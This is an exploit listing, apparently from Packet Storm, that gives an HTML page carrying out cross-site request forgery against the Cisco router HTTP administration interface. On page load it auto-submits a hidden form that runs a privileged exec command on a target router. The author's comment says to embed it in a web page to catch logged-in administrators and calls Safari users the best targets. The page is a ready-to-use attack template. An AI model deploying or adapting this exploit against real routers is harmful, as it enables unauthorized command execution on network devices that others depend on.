Cisco router HTTP administration cross site request forgery remote command execution universal exploit (1 of 2).
9609bd09bf2c8115edd9396260d2c90cfab3b56601c43e31af6d393b2b510b7e<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]
Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1
Replace "10.10.10.1" with the IP address of the target router, embed this in a web
page and hope for the best. Cisco Admin's + Safari are the best targets ;) -->
<html>
<body>
<body onload="asdf.submit();">
<form name=asdf method="post" action="http://10.10.10.1/level/15/exec/-">
<input type=hidden name=command value="show privilege">
<input type=hidden name=command_url value="/level/15/exec/-">
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed